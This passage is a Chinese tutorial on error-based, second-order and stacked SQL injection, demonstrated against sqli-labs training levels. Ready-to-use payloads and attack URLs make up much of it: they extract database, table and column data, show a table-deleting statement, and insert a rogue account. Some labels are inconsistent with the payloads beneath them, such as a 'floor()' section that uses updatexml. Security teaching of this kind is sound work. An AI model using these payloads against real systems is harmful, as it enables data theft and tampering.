4.基于报错的SQL盲注
报错盲注就是使语句报错。报错注入则是注入特殊的语句使报错回显中带上我们需要的信息
常见的报错回显有三种函数extractvalue()、updatexml()、floor()
1.函数介绍
1.extractvalue()函数
extractvalue(XML_document, XPath_string) 函数含义:
对XML文档进行查询的函数,使用xpath符号从xml字符串中提取值。
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
报错原理:
SELECT extractvalue('', '/a/b'); 这是正确的语句
第二个参数 xml中的位置是我们编写注入语句的地方,xml文档中查找字符位置是用/xxx/xxx/xxx/…这种格式进行查找的,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们要爆破的数据。
约束条件:
输出字符长度限制为32个字符。所以需要使用 limit 语句进行限制。
创造该错误的基本语句格式:
extractvalue(1,concat(0x7e,(注入代码)))
' and(SELECT extractvalue(1,concat(0x7e,(SELECT database()),0x7e))) #查库 ' and(SELECT extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where table_schema=database()))))#查表 ' and(SELECT extractvalue(1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))#查字段 ' and(SELECT extractvalue(1,concat(0x7e,(SELECT group_concat(COIUMN_NAME) from TABLE_NAME))))#查数据
2.updatexml()函数
' or updatexml(1,concat('~',database(),'~'),1) # 查库 ' union SELECT updatexml(1,concat(0x7e,(SELECT group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1) #查表 ' union SELECT updatexml(1,concat(0x7e,(SELECT group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME"),0x7e),1) #查字段 ' union SELECT updatexml(1,concat(0x7e,(SELECT group_concat(column_NAME)from TABLE_NAME)),0x7e),1) #查数据
3.floor()函数
' union SELECT 1 from (SELECT count(*),concat((SELECT database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a#查库 ' union SELECT 1 from (SELECT count(*),concat((SELECT table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a#查表 ' union SELECT 1 from (SELECT count(*),concat((SELECT column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a#查字段 ' union SELECT 1 from (SELECT count(*),concat((SELECT column_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)#查数据
2.具体注入实现
这里使用sqli-labs的第五关进行演示
1.使用extractvalue()函数进行报错注入
查询当前的数据库名
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and extractvalue(1,concat(0x7e,(SELECT database())))--+
查询表名
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and extractvalue(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema='security' limit 0,1)))--+
查询列名
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and extractvalue(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name='emails' limit 0,1)))--+
查询数据
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and extractvalue(1,concat(0x7e,(SELECT email_id from emails limit 0,1)))--+
2.使用updatexml()函数进行报错注入
查询当前数据库名
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and updatexml(1,concat(0x7e,(SELECT database())),3) --+
查询表名
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema='security' limit 0,1)),3) --+
1
查询列名
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name='emails' limit 1,1)),3) --+
查询数据
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and updatexml(1,concat(0x7e,(SELECT email_id from emails limit 0,1)),3) --+
3.使用floor()函数进行注入
查询当前数据库
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and updatexml(1,concat('~',database(),'~'),1) --+
查询表名
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and updatexml(1,concat('~',(SELECT table_name from information_schema.tables where table_schema='security' limit 0,1),'~'),1) --+
查询列名
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and updatexml(1,concat('~',(SELECT column_name from information_schema.columns where table_name='emails' limit 1,1),'~'),1) --+
查询数据
http://192.168.7.179/479314ac/sql/Less-5/?id=1' and updatexml(1,concat('~',(SELECT email_id from emails limit 0,1),'~'),1) --+
5.其他注入
1.二次注入
这里使用sql-labs Page2的第24关进行演示
首先,先确认admin账号是否存在,我们注册admin账号,提示账号已经存在,说明admin账号存在
第一次注入,我们注册账号admin’#
第二次注入
我们登陆admin’#,然后重置密码,原密码任意
我们看代码,在我们修改密码时,由于admin’#被拼接到了update语句中,单引号闭合了前面的语句,#号注释了后面的语句,所以实际执行的SQL语句是update users SET PASSWORD='$pass' where username='admin'造成了二次注入,实际重置的是admin的密码。
成功用重置后的密码登陆admin账号
2.堆叠注入
0x00 堆叠注入的定义
Stacked injection 汉语翻译过来后,称 为堆查询注入
,也有称之为堆叠注入
。堆叠注入为攻击者提供了很多的攻击手段,通过添加一个新的查询或者终止查询,可以达到修改数据和调用存储过程的目的。
0x01 堆叠注入的原理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
而 union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all 执行的语句类型是有限的,只可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE from products,则服务器端生成的sql语句为:
SELECT * from products where productid=1;DELETE from products
当执行命令后,第一条显示查询信息,第二条则将整个表进行删除。
0x02 堆叠注入的局限性
堆叠注入也有其相对的局限性,并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,还是建议使用 union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。
这里使用sqli-labs的第35关进行演示
代码如下
http://192.168.7.179/479314ac/sql/Less-38/?id=-1'; insert into users(id,username,password) values('89','aaa','666') --+
成功添加账号
评论 (0)